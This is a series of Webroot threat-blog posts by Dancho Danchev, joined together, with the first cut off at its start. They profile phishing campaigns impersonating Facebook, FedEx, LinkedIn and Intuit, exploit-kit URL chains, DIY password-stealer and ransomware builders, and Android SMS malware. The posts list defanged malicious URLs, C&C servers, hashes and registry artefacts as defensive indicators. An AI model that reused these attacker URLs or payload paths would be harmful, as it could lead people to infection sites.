hxxp://www.tebau.at/misc/teasers.php
hxxp://www.fullservice.co.nz/misc/teasers.php
hxxp://www.teachforlebanon.org/misc/teasers.php

Sample detection rate for the malicious executable: **MD5: 75db84cfb0e1932282433cdb113fb689** – detected by 26 out of 46 antivirus scanners as TrojanDownloader:Win32/Kuluoz.B.

Once executed, the sample phones back to the following command and control (C&C) servers:
hxxp://66.232.145.174:6667/7983F8E17E0ADB06900CC3E4F4C4E9648753CB9E678CF5026D2394065EF041FFA32B1B6BCDE33A8C6F393565B6B18529AB300B817F78805342F2FF8D170C7266C374C52E23BA 8A478966890EFD9445
hxxp://175.45.142.15:8080/7983F8E17E0ADB06900CC3E4F4C4E9648753CB9E678CF5026D2394065EF041FFA32B1B6BCDE33A8C6F393565B6B18529AB300B817F78805342F2FF8D170C7266C374C52E23BA8 A478966890EFD9445

hxxp://66.84.10.68:8080/7983F8E17E0ADB06900CC3E4F4C4E9648753CB9E678CF5026D2394065EF041FFA32B1B6BCDE33A8C6F393565B6B18529AB300B817F78805342F2FF8D170C7266C374C52E23BA8A4 78966890EFD9445

hxxp://202.169.224.202:8080/7983F8E17E0ADB06900CC3E4F4C4E9648753CB9E678CF5026D2394065EF041FFA32B1B6BCDE33A8C6F393565B6B18529AB300B817F78805342F2FF8D170C7266C374C52E23B A8A478966890EFD9445

hxxp://89.19.20.202:8080/7983F8E17E0ADB06900CC3E4F4C4E9648753CB9E678CF5026D2394065EF041FFA32B1B6BCDE33A8C6F393565B6B18529AB300B817F78805342F2FF8D170C7266C374C52E23BA8A 478966890EFD9445

hxxp://74.208.111.15:8080/7983F8E17E0ADB06900CC3E4F4C4E9648753CB9E678CF5026D2394065EF041FFA32B1B6BCDE33A8C6F393565B6B18529AB300B817F78805342F2FF8D170C7266C374C52E23BA8 A478966890EFD9445

hxxp://85.214.50.161:8080/7983F8E17E0ADB06900CC3E4F4C4E9648753CB9E678CF5026D2394065EF041FFA32B1B6BCDE33A8C6F393565B6B18529AB300B817F78805342F2FF8D170C7266C374C52E23BA8 A478966890EFD9445

hxxp://184.106.214.159:8080/7983F8E17E0ADB06900CC3E4F4C4E9648753CB9E678CF5026D2394065EF041FFA32B1B6BCDE33A8C6F393565B6B18529AB300B817F78805342F2FF8D170C7266C374C52E23B A8A478966890EFD9445

hxxp://46.4.178.174:8080/7983F8E17E0ADB06900CC3E4F4C4E9648753CB9E678CF5026D2394065EF041FFA32B1B6BCDE33A8C6F393565B6B18529AB300B817F78805342F2FF8D170C7266C374C52E23BA8A 478966890EFD9445

hxxp://217.11.63.194:8080/7983F8E17E0ADB06900CC3E4F4C4E9648753CB9E678CF5026D2394065EF041FFA32B1B6BCDE33A8C6F393565B6B18529AB300B817F78805342F2FF8D170C7266C374C52E23BA8 A478966890EFD9445

hxxp://82.113.204.228:8080/7983F8E17E0ADB06900CC3E4F4C4E9648753CB9E678CF5026D2394065EF041FFA32B1B6BCDE33A8C6F393565B6B18529AB300B817F78805342F2FF8D170C7266C374C52E23BA 8A478966890EFD9445

hxxp://85.214.22.38:8080/7983F8E17E0ADB06900CC3E4F4C4E96

48753CB9E678CF5026D2394065EF041FFA32B1B6BCDE33A8C6
F393565B6B18529AB300B817F78805342F2FF8D170C7266C374C
52E23BA8A 478966890EFD9445
hxxp://202.153.132.24:8080/7983F8E17E0ADB06900CC3E4F4C4E
9648753CB9E678CF5026D2394065EF041FFA32B1B6BCDE33A8C
6F393565B6B18529AB300B817F78805342F2FF8D170C7266C374
C52E23BA 8A478966890EFD9445
hxxp://85.186.22.146:8080/7983F8E17E0ADB06900CC3E4F4C4E9
648753CB9E678CF5026D2394065EF041FFA32B1B6BCDE33A8C6
F393565B6B18529AB300B817F78805342F2FF8D170C7266C374C
52E23BA8 A478966890EFD9445
hxxp://77.79.81.166:8080/7983F8E17E0ADB06900CC3E4F4C4E96
48753CB9E678CF5026D2394065EF041FFA32B1B6BCDE33A8C6
F393565B6B18529AB300B817F78805342F2FF8D170C7266C374C
52E23BA8A 478966890EFD9445
hxxp://84.38.159.166:8080/7983F8E17E0ADB06900CC3E4F4C4E9
648753CB9E678CF5026D2394065EF041FFA32B1B6BCDE33A8C6
F393565B6B18529AB300B817F78805342F2FF8D170C7266C374C
52E23BA8 A478966890EFD9445
hxxp://81.93.248.152:8080/7983F8E17E0ADB06900CC3E4F4C4E9
648753CB9E678CF5026D2394065EF041FFA32B1B6BCDE33A8C6
F393565B6B18529AB300B817F78805342F2FF8D170C7266C374C
52E23BA8 A478966890EFD9445
hxxp://118.97.15.13:8080/7983F8E17E0ADB06900CC3E4F4C4E96
48753CB9E678CF5026D2394065EF041FFA32B1B6BCDE33A8C6
F393565B6B18529AB300B817F78805342F2FF8D170C7266C374C
52E23BA8A 478966890EFD9445

More malware variantst are known to have phoned back to the same IPs. Associated MD5s: MD5:
FECEF95FBAB0E3520237F1FDE8784BC8 MD5:
CAE28258E82EEC4ABFB76A910802E714 MD5:
E2E021E1A6988B260F52916524448B41 MD5:
C808979420771729OBD1DB680A20102C MD5:
E97CFB8D93B0BF5F9BBCA54847874379 MD5:
09C7E70F8DAFD97DE6AB7843FD2C40BE MD5:
F8F37893AF48137658BA1CD0CF0FB858 MD5:
D6B7CF92F5A1DF9C8C445D0D9173020B MD5:

A1C66557C08DF58B8602FB5DA12FCA6B MD5: **AB70A1764D29CC403904B17BF501B11A** MD5: **8E8D0B99BDC661F184066530FD350458** MD5: **D6B7CF92F5A1DF9C8C445D0D9173020B** MD5: A1C66557C08DF58B8602FB5DA12FCA6B MD5: 1CF48849C3DA1F2E413B1B26F210C6B6 MD5: CA80A88EA5EF6ABF44227A50F0047041 MD5: **D6C47208CDA112EB73BB22D46E306261** MD5: **9BB705500C8BB982D047AD83E841D1E3** MD5: **819314E69A49C6F9656CBA5F5C4074C4** MD5: **EDCD8D82D14A76715992880F25ECAA2E** MD5: 88A99AAFEACAC0E9DF3BAB2CD6C853BB MD5: **70EE66B9AE2DEDFCD539F479FAA01439** MD5: **2AEEE19ABBEE78014C70E57F6DC22328** MD5: **9251611A38D4411916CC5FC060F1C19C** MD5: 0309081A65BC7697BE24B66EAE490F48 MD5: **A6DCD7FC08C9AC6A4760A25FB9A48143** MD5: **EA1E19ADEC8FB5E540E06E10AC540D1F** MD5: **F3E90DD3148D3DDF6938DB67B03DCF82** MD5: **C808979420771 7290BD1DB680A20102C** MD5: **176823F3C9822F31072265DFC6CABD1F** MD5: F41D533E371040B85FC87D7E28B41C45

Webroot SecureAnywhere users are proactively protected from these threats.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Malicious 'Facebook Account Cancellation Request" themed emails serve client-side exploits and malware - Webroot Blog

facebook linkedin twitter

In December, 2012, we intercepted a professional-looking email that was impersonating Facebook Inc. in an attempt to trick its users into thinking that they've received an "***Account Cancellation Reques t*** ". In reality, once users clicked on the links, their hosts were automatically exploited through outdated and already patched client-side vulnerabilities, which dropped malware on the affected PCs.

Over the past 24 hours, cybercriminals have resumed spamvertising tens of thousands of legitimate-looking Facebook themed emails, once again using the same social engineering theme.

More details:

Sample screenshot of the spamvertised email:

Malicious client-side exploitation URL chain: *hxxp://mailstatic.twilightparadox.com -> hxxp://kidstoytowers.com/log/forums/index.php?showtopic=852510 -> hxxp://kidstoytowers.com/log/forums/rhin.jar -> hxxp://kidstoytowers.com/log/forums/Goo.jar -> hxxp://kidstoytowers.com/log/forums/lib.php -> hxxp://kidstoytowers.com/log/forums/load.php?showforum=lib*

Sample client-side exploits served: *CVE-2010-0188* ; *CVE-2011-3544* ; *CVE-2010-0840*

Malicious domain name reconnaissance: kidstoytowers.com – 62.75.181.220 – responding to the same IP is also the following domain – **dailyfrontiernews.com**

Upon successful client-side exploitation, the campaign drops **MD5: 9356fcd388b4bae53cad7aea4127d966** – detected by 3 out of 46 antivirus scanners as W32/Injector.YMS!tr.

Once executed, the sample sets the following Registry Keys to 1: *HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionInternet SettingsZoneMap\ProxyBypass HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionInternet SettingsZoneMap\IntranetName HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionInternet SettingsZoneMap\UNCAsIntranet HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersion ExplorerMountPoints2{a20cd692-8e41-11e1-9999-806d6172696f}\BaseClass HKEY_CURRENT_USERSoftwareMicrosoftWindowsShellNoRoam MUICache(null)C:WINDOWSsystem32ipconfig.exe*

It also (successfully) creates the following process: *C:d97f042474a0b1814fd681dca3ec2c5edf7054acff979f585a044478bc7c5cbd*

If you catch a Facebook impersonating email in the wild, please forward it to phish@fb.com to notify Facebook of the attack. **Webroot SecureAnywhere** users are proactively protected from this threat.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

A peek inside a DIY password stealing malware - Webroot Blog

facebook linkedin twitter

On a daily basis, we continue to observe the emergence of the **DIY (do-it-yourself)** trend within the entire cybercrime ecosystem. And although the **DIY activity** cannot be compared to the malicious impact caused by "**cybercrime-as-a-service**" managed underground market propositions, it allows virtually anyone to enter the profitable world of cybercrime, thanks to the ongoing leaks of proprietary malware generating tools and freely available alternatives.

In this post, I'll profile the latest version of a Russian DIY password stealing malware that's targeting multiple browers, Email, IM, FTP clients, as well as online poker clients.

Sample screenshot of the DIY password stealing malware:

As you can see in the attached screenshot, the malware has support for all the major Web browsers, including several highly popular Russian browsers.

Second screenshot of the DIY password stealing malware:

In addition to Web browsers, the malware also supports multiple IM clients, Email clients, FTP clients, and several other applications like Windows RAS, RDP, World ofTanks, Full Tilt Poker and PokerStars.

Third screenshot of the DIY password stealing malware:

The DIY interface allows full customization of the malware that's about to be generated, including the appearance of the file, downloader functionality, and naturally, anti-reverse engineering capabilities.

Fourth screenshot of the DIY password stealing malware:

What's particularly interesting about this DIY tool is the fact that it encrypts the stolen data using a public and private key, allowing the cybercriminal behind the campaign to securely store the compromised data on any public service such as a (compromised) FTP server, or an email account.

Fifth screenshot of the DIY password stealing malware:

To make it harder to analyze, the DIY password stealing malware generator has built-in fuctions enabling its user to choose which “Anti” modules will be enabled in the malware variant about to be generated. It currently covers:

Anti-Wireshark
Anti-VirtualBox
Anti-Anubis
Anti-ProcExp
Anti-FileMon
Anti-VMWare
Anti-Sandboxie
Anti-ProcMon
Anti-RegMon

Sixth screenshot of the DIY password stealing malware:

Once the cybercriminal enters the correct pseudo-randomly generated unlock code, he gains immediate access to the compromised data.

A logical question emerges in the minds of Webroot SecureAnywhere users – what happens if we fail to detect a malware sample generated by this tool? **Watch this informative video, and find out more.**

We’ll continue monitoring the emergence of the DIY trend, and post updates as soon as we discover more tools used to facilitate cybercrime, and lower the entry barriers into the world of cybercrime.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re

dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Fake 'FedEx Online Billing - Invoice Prepared to be Paid' themed emails lead to Black Hole Exploit Kit - Webroot Blog

facebook linkedin twitter

Users of **FedEx's** Online Billing service, watch out!

Cybercriminals are currently mass mailing tens of thousands of emails impersonating the company, in an attempt to trick its customers into clicking on exploits and malware dropping links found in the legitimate-looking emails.

More details:

Sample screenshot of the spamvertised email:

Sample client-side exploits serving URL: *hxxp://vespaboise.net/detects/invoice_overview.php*

Sample malicious payload dropping URL: *hxxp://vespaboise.net/detects/invoice_overview.php?yhrknjt=30:33:1n:1o:33&fjjme=32:30:1j:32:32:33:1h:1g:31:1n&bdadxnvt=1i&jvz=lwcss&ymg=nbvjlip*

Malicious domain name reconnaissance: vespaboise.net – 222.238.109.66 – Email: blackchromedesign2@ymail.com
Name Server: **NS1.HTTP-PAGE.NET** Name Server: **NS2.HTTP-PAGE.NET**

Responding to the same IP (**222.238.109.66**) are the following malicious domains:
morepowetradersta.com kendallvile.com alphabeticalwin.com ehadnedrlop.com postofficenewsas.com paralertamastaercet.com prepadav.com masterseoprodnew.com asmncm.co lo4inee.asmncm.co reta4ilse.asmncm.co gonita.net able-stock.net duriginal.net euronotedetector.net fx-points.net africanbeat.net ensconcedattractively.biz

We've already seen the same IP (**222.238.109.66**) and name servers used in the following previously profiled malicious campaigns, indicating that they've been launched by the same party:

Fake 'ADP Speedy Notifications' lead to client-side exploits and malware Bogus 'Your Paypal Transaction Confirmation' themed emails lead to Black Hole Exploit Kit Fake LinkedIn 'Invitation Notifications' themed emails lead to client-side exploits and malware

Upon successful client-side exploitation, the FedEx themed campaign drops **MD5: c2f72ff5b0cf4dec4ce33e4cc65796b1** – detected by 22 out of 46 antivirus scanners as PWS:Win32/Zbot.gen!AM.

Once executed, the sample creates the following files on the affected hosts: *C:Documents and Settings<USER>Application DataAlyszkiotp.exe C:WINDOWSsystem32cmd.exe" /c "C:DOCUME~1<USER>~1LOCALS~1Temptmp5600c543.bat*

It also creates the following mutexes: *Global{5B039399-8854-D5EB-89D3-085A9A492B48} Global{DE680959-1294-5080-7788-B06D6412937F} Global{A45A65F1-7E3C-2AB2-89D3-085A9A492B48}*

The following Registry Keys: *REGISTRYUSERS-1-5-21-299502267-926492609-1801674531-500SoftwareMicrosoftYnumav REGISTRYUSERS-1-5-21-299502267-926492609-1801674531-500SoftwareMicrosoftWABWAB4Wab File Name REGISTRYUSERS-1-5-21-299502267-926492609-1801674531-500SoftwareMicrosoft REGISTRYUSERS-1-5-21-299502267-926492609-1801674531-500SoftwareMicrosoftWAB REGISTRYUSERS-1-5-21-299502267-926492609-1801674531-500SoftwareMicrosoftWABWAB4 REGISTRYMACHINESYSTEMCurrentControlSetServicesSharedAccessParametersFirewallPolicyStandardProfileGloballyOpenPortsList REGISTRYMACHINESYSTEMControlSet001ServicesSharedAccessParametersFirewallPolicyStandardProfile REGISTRYMACHINESYSTEMControlSet001ServicesSharedAccessParametersFirewallPolicyStandardProfileGloballyOpenPorts*

It also attempts to connect to the following IPs: *14.96.171.173 64.219.114.114 68.49.120.165 70.50.58.41 70.136.9.2 71.42.56.253 71.43.217.3 72.218.14.223 76.219.198.177 80.252.59.142 83.111.92.83 87.5.135.46 87.203.87.232 98.71.136.168 98.245.242.245 108.83.233.190 115.133.156.53 151.66.19.166 194.94.127.98 206.45.59.85*

Webroot SecureAnywhere users are proactively protected from this threat.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Novice cybercriminals experiment with DIY ransomware tools - Webroot Blog

facebook linkedin twitter

For years, the DIY (do-it-yourself) trend has been evident across the entire cybercrime ecosystem.

From the **early exploits generating DIY tools** that set the foundations for the upcoming "**malicious economies of scale** " trend to emerge, to the ongoing leaks of DIY botnet and **malware generating tools** that were once only available to advanced attackers, it's never been easier to enter the world of cybercrime.

In this post, I'll profile a novice cybercriminal's approach to entering **the profitable world of ransomware** .

More details:

Sample screenshot of the DIY ransomware tool:

Sample "Locked Screen" displayed to the affected victims:

Could this DIY ransomware generating tool somehow compete with alternative ransomware variants?

Not necessarily, as it lacks a command and control (C&C) interface, a feature that's available by default in market leading ransomware-as-a-service propositions. However, with Reveton (also known as **the Police ransomware**) continuing to make the headlines thanks to its efficient monetization approach applied to infected hosts, novice cybercriminals will continue trying to catch up with their sophisticated "colleagues" in an attempt to steal some of the market share of this emerging monetization tactic. Therefore, we expect to see more DIY ransomware generating tools to hit the underground marketplace throughout 2013.

Users are advised to ensure that they're running **the latest versions of their third-party software** , as well as **browser plugins** , in an attempt to mitigate a huge percentage of the risk posed by the fact that the majority of Web malware exploitation kits continue relying on outdated and already patched client-side vulnerabilities.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Fake LinkedIn 'Invitation Notifications' themed emails lead to client-side exploits and malware - Webroot Blog

facebook linkedin twitter

LinkedIn users, watch what you click on!

Over the past 24 hours, cybercriminals have launched yet another massive spam campaign, impersonating **LinkedIn** , in an attempt to trick its users into clicking on the malicious links found in the bogus "*Invitation Notification* " themed emails. Once they click on the links, users are automatically exposed to the client-side exploits served by the **Black Hole Exploit Kit** .

More details:

Sample screenshot of the spamvertised email:

Sample spamvertised URLs used in the campaign:
hxxp://vikasprint.ru/linkedrequest.html
hxxp://img.anibook.ru/linkedrequest.html
hxxp://spitnsawdust.co.uk/linkedrequest.html *hxxp://e-infoware.com/linkedrequest.html*
hxxp://mouldingname.info/linkedrequest.html
hxxp://old.mlsit.ru/linkedrequest.html
hxxp://hytfgasses.com/linkedrequest.html
hxxp://dommotorov.ru/linkedrequest.html
hxxp://mislite.ru/linkedrequest.html
hxxp://img.anibook.ru/linkedrequest.html
hxxp://arabellatravel.ru/linkedrequest.html
hxxp://oldfinco.autolb.ru/linkedrequest.html

Sample client-side exploits serving URLs, all of them responding to 222.238.109.66:
hxxp://euronotedetector.net/detects/updated_led-concerns.php
hxxp://kendallvile.com/detects/exceptions_authority_distance_disturbing.php – ***Email: fxfoto@hotmail.com***
hxxp://prepadav.com/detects/region_applied-depending.php –

Email: bannerpick45@yahoo.com *hxxp://shininghill.net/detects/solved-surely-considerable.php* – ***Email: fxfoto@hotmail.com*** *hxxp://teamrobotmusic.net/detects/bits_remember_confident.php*

Responding to the same IP are also the following malicious domains, part of the campaign's infrastructure: *seoseoonwe.com alphabeticalwin.com ehadnedrlop.com bestwesttest.com masterseoprodnew.com cocolspottersqwery.com africanbeat.net*

Name servers used by these malicious domains: Name server: **ns1.http-page.net** – 31.170.106.17 – Email: ezvalue@yahoo.com Name server: **ns2.http-page.net** – 7.129.51.158 – Email: ezvalue@yahoo.com

Name Server: **ns1.high-grades.com** – 208.117.43.145
Name Server: **ns2.high-grades.com** – 92.121.9.25

Sample malicious payload dropping URL: *hxxp://shininghill.net/detects/solved-surely-considerable.php?vf=1o:31:1h:1l:2w&fe=33:1o:1g:1l:1m:1k:2v:1l:1o:32&n=1f&dw=w&qs=p*

Upon successful client-side exploitation, the campaign drops **MD5: fdc05614f56aca9421271887c1937f51** – detected by 30 out of 44 antivirus scanners as Trojan-Spy.Win32.Zbot.ihgm.

Upon execution, the same creates the following process on the affected hosts: *%AppData%Bytaayjdoly.exe*

The following registry keys: *HKEY_CURRENT_USERSoftwareMicrosoftRekime*

With the following values: *[HKEY_CURRENT_USERIdentities] -> Identity Login = 0x00098053 [HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun] -> {3DFA1AE4-115C-AD7B-A6BA-A75086AF8442} = ""%AppData%Bytaayjdoly.exe [HKEY_CURRENT_USERSoftwareMicrosoftRekime] -> 24e75bab = "la0ooHdmCjM="; 28588825 = 0xA079AD85; 350g709 = 51 C5 79 A0 F5 4B 32 33 BC 54 E3 B8*

As well as the following Mutexes: *Global{CB561546-E774-D5EA-8F92-61FCBA8C42EE} Local{744F300D-C23F-6AF3-8F92-*

61FCBA8C42EE} Global{5E9F7FDE-8DEC-4023-0508-B06D3016937F} Global{5E9F7FDE-8DEC-4023-7109-B06D4417937F} Global{5E9F7FDE-8DEC-4023-490A-B06D7C14937F} Global{5E9F7FDE-8DEC-4023-610A-B06D5414937F} Global{5E9F7FDE-8DEC-4023-8D0A-B06DB814937F} Global{5E9F7FDE-8DEC-4023-990A-B06DAC14937F} Global{5E9F7FDE-8DEC-4023-410B-B06D7415937F} Global{5E9F7FDE-8DEC-4023-6D0B-B06D5815937F} Global{5E9F7FDE-8DEC-4023-C50B-B06DF015937F} Global{5E9F7FDE-8DEC-4023-210C-B06D1412937F} Global{5E9F7FDE-8DEC-4023-610C-B06D5412937F} Global{5E9F7FDE-8DEC-4023-790C-B06D4C12937F} Global{5E9F7FDE-8DEC-4023-C90D-B06DFC13937F} Global{5E9F7FDE-8DEC-4023-1D0E-B06D2810937F} Global{5E9F7FDE-8DEC-4023-710E-B06D4410937F} Global{5E9F7FDE-8DEC-4023-A108-B06D9416937F} Global{5E9F7FDE-8DEC-4023-8D0B-B06DB815937F} Global{5E9F7FDE-8DEC-4023-190C-B06D2C12937F} Global{5E9F7FDE-8DEC-4023-090F-B06D3C11937F} Global{5E9F7FDE-8DEC-4023-ED0F-B06DD811937F} Global{5E370004-F236-408B-8F92-61FCBA8C42EE} Global{5E9F7FDE-8DEC-4023-6D0C-B06D5812937F} Global{EEE5022F-F01D-F059-8F92-61FCBA8C42EE} Global{38E3341C-C62E-265F-8F92-61FCBA8C42EE} Global{340FE32E-111C-2AB3-8F92-61FCBA8C42EE} Global{340FE329-111B-2AB3-8F92-61FCBA8C42EE} Local{55E9553D-A70F-4B55-8F92-61FCBA8C42EE} Local{55E9553C-A70E-4B55-8F92-61FCBA8C42EE}

Once executed, the sample also attempts to establish multiple UDP connections with the following IPs: *177.1.100.2:11709 190.33.36.175:11404 213.109.254.122:29436 41.69.182.117:29817 64.219.114.114:13503 161.184.174.65:14545 93.177.174.72:10119 69.132.202.147:16149*

Webroot SecureAnywhere users are proactively protected from these threats.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Fake Intuit 'Direct Deposit Service Informer' themed emails lead to Black Hole Exploit Kit - Webroot Blog

facebook linkedin twitter

Cybercriminals are currently spamvertising tens of thousands of fake emails, impersonating **Intuit** , in an attempt to trick its customers and users into clicking on the malicious links found in the emails.

Once users click on any of the links, they're exposed to the client-side exploits served by the latest version of the **Black Hole Exploit Kit** , which ultimately drops malware on the affected hosts.

More details:

Sample screenshot of the spamvertised email:

Sample spamvertised URL:

hxxp://dom-servis39.ru/upload.htm

Sample client-side exploits serving URL:

hxxp://dopaminko.ru:8080/forum/links/column.php

Sample malicious payload dropping URL:

hxxp://dopaminko.ru:8080/forum/links/column.php?phfh=30:31:1n:1h:32&kcdbzmta=2v:1k:1m:32:33:1k:1k:31:1j:1o&zwp=1i&acmu=deisi&gimffbf=mnob

Malicious domain name reconnaissance:

dopaminko.ru – 212.112.207.15

Name server: **ns1.dopaminko.ru** – 62.76.185.169

Name server: **ns2.dopaminko.ru** – 41.168.5.140

Name server: **ns3.dopaminko.ru** – 42.121.116.38

Name server: **ns4.dopaminko.ru** – 110.164.58.250

Name server: **ns5.dopaminko.ru** – 210.71.250.131

More malicious domains are known to have responded to the same IP (212.112.207.15):

hxxp://danadala.ru:8080/forum/links/column.php

hxxp://dfudont.ru:8080/forum/links/column.php

hxxp://demoralization.ru:8080/forum/links/column.php

hxxp://dfudont.ru:8080/forum/links/column.php

Some of these domains also respond to the following IPs – 91.224.135.20; 46.175.224.21, with more malicious domains part of the campaign's infrastructure hosted there:

dekamerionka.ru

danadala.ru

dmssmgf.ru

dmpsonthh.ru

demoralization.ru

disownon.ru

damagalko.ru

dozakialko.ru

dopaminko.ru

dumarianoko.ru

dfudont.ru

Name servers part of the campaign's infrastructure:

Name server: **ns1.danadala.ru** – 62.76.185.169

Name server: **ns2.danadala.ru** – 41.168.5.140

Name server: **ns3.danadala.ru** – 42.121.116.38

Name server: **ns4.danadala.ru** – 110.164.58.250

Name server: **ns5.danadala.ru** – 210.71.250.131

Name server: **ns1.dfudont.ru** – 62.76.185.169

Name server: **ns2.dfudont.ru** – 41.168.5.140

Name server: **ns3.dfudont.ru** – 42.121.116.38

Name server: **ns4.dfudont.ru** – 110.164.58.250

Name server: **ns5.dfudont.ru** – 210.71.250.131

Name server: **ns1.demoralization.ru** – 62.76.186.24

Name server: **ns2.demoralization.ru** – 41.168.5.140

Name server: **ns3.demoralization.ru** – 42.121.116.38

Name server: **ns4.demoralization.ru** – 110.164.58.250

Name server: **ns5.demoralization.ru** – 210.71.250.131

Name server: **ns1.dfudont.ru** – 62.76.185.169

Name server: **ns2.dfudont.ru** – 41.168.5.140

Name server: **ns3.dfudont.ru** – 42.121.116.38

Name server: **ns4.dfudont.ru** – 110.164.58.250

Name server: **ns5.dfudont.ru** – 210.71.250.131

Upon successful client-side exploitation, the campaign drops **MD5: 3c20e12ac498572013370380 1906ae19** – detected by 16 out of 45 antivirus scanners as Worm:Win32/Cridex.E.

Once executed, the sample creates the following process on the affected hosts:

%AppData%KB00121600.exe

The following Registry Keys:

HKEY_CURRENT_USERSoftwareMicrosoftWindows NTCFBDC89D4

HKEY_CURRENT_USERSoftwareMicrosoftWindows NTS25BC2D7B

As well as the following Mutexes:

LocalXMM00000508

LocalXMI00000508

LocalXMRFB119394

LocalXMM0000009C

LocalXMI0000009C

LocalXMM000000D8

LocalXMI000000D8

LocalXMM00000388

LocalXMI00000388

Upon execution, the sample phones back to the following C&C servers:

hxxp://188.165.33.54:8080/DPNilBA/ue1elBAAAA/tlSHAAAAA/

hxxp://174.142.68.239:8080/AJtw/UCyqrDAA/Ud+asDAA/

Not surprisingly, we've already seen the same pseudo-random C&C communication characters used in previously profiled posts at Webroot's Threat Blog, indicating that these campaigns have been launched by the same malicious parties.

Webroot SecureAnywhere users are proactively protected from these threats.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Android malware spreads through compromised legitimate Web sites - Webroot Blog

facebook linkedin twitter

Over the past 24 hours, our sensor networks picked up an interesting website infection affecting a popular Bulgarian website for branded watches, which ultimately redirects and downloads premium rate SMS Android malware on the visiting user devices. The affected Bulgarian website is only the tip of the iceberg, based on the diversified portfolio of malicious domains known to have been launched by the same party that launched the original campaign.

More details:

Sample screenshot of the executed Android malware:

The first variation of the campaign attempts to trick Russian-speaking users into installing a fake version of Adobe's Flash Player, followed by a second campaign using a fake Android browser as a social engineering theme, and a third campaign which is attempting to trick mobile users into thinking that it's a new version of Google Play.

Sample malicious URLs displayed to Android users: *hxxp://adobeflashplayer-up.ru/?a=RANDOM_CHARACTERS* – 93.170.107.184
hxxp://googleplaynew.ru/?a=RANDOM_CHARACTERS – 93.170.107.184
hxp://browsernew-update.ru/?a=RANDOM_CHARACTERS – 93.170.107.184

Responding to the same IP (93.170.107.184) are also the following domains part of the campaign's infrastructure: *flashupdate.org mobiserver-russia.com flash-news-systems1.net bruser-2012.net erovideo2.net file-send09.net tankonoid.net oneiclick.net free3porn.net nashe9porevo.net filemoozo.net flashupdates.net yandexfilyes.net erovidoos.net yandexfiloys.net* *anindord-market.net api-md-new.net girlsexx.net 1jan-unilo55.ru officemb56.ru brwsrupdate.ru android-mk.ru android-gt.ru*

Detection rate for the malicious .apk files: *flash_player_installer.apk* – **MD5: 29e8db2c055574e26fd0b47859e78c0e** – detected by 5 out of 46 antivirus scanners as Android.SmsSend.212.origin.
Android_installer-1.apk – **MD5: e6be5815a05c309a81236d82fec631c8** – detected by 5 out of 46 antivirus scanners as HEUR:Trojan-SMS.AndroidOS.Opfake.bo.

Required permissions for flash_player_installer.apk:
android.permission.ACCESS_NETWORK_STATE
android.permission.CHANGE_NETWORK_STATE
com.android.launcher.permission.INSTALL_SHORTCUT
com.android.launcher.permission.UNINSTALL_SHORTCUT
android.permission.ACCESS_NETWORK_STATE
android.permission.RECEIVE_BOOT_COMPLETED
com.android.alarm.permission.SET_ALARM
android.permission.SYSTEM_ALERT_WINDOW
android.permission.WRITE_SETTINGS
android.permission.WRITE_SECURE_SETTINGS
android.permission.ACCESS_WIFI_STATE
android.permission.UPDATE_DEVICE_STATS
android.permission.CHANGE_WIFI_STATE
android.permission.WRITE_EXTERNAL_STORAGE
android.permission.INTERNET
android.permission.READ_PHONE_STATE
android.permission.READ_SMS android.permission.SEND_SMS
android.permission.RECEIVE_SMS
android.permission.READ_CONTACTS
android.permission.DELETE_PACKAGES
android.permission.GET_PACKAGE_SIZE
android.permission.INSTALL_PACKAGES
android.permission.MANAGE_APP_TOKENS
android.permission.PERSISTENT_ACTIVITY
android.permission.GET_ACCOUNTS
android.permission.WAKE_LOCK android.permission.WAKE_LOCK

Used the following features once executed: *android.hardware.wifi android.hardware.telephony android.hardware.touchscreen android.hardware.screen.portrait*

Upon execution, the Android sample phones back to **gaga01.net/rq.php** – 93.170.107.57 – Email: mypiupiu1@gmail.com transmitting the following information back to the cybercriminals behind the operation: **oard=unknown;brand=generic;device=generic;imei=CENSORED;imsi=CENSORED;session_id=1;operator=XXX;sms0=CENSORED;sms1=CENSORED;sms2=CENSORED;time=CENSORED;timezone=CENSORED**

Required permissions for Android_installer-1.apk: *android.permission.ACCESS_NETWORK_STATE*
android.permission.CHANGE_NETWORK_STATE
com.android.launcher.permission.INSTALL_SHORTCUT
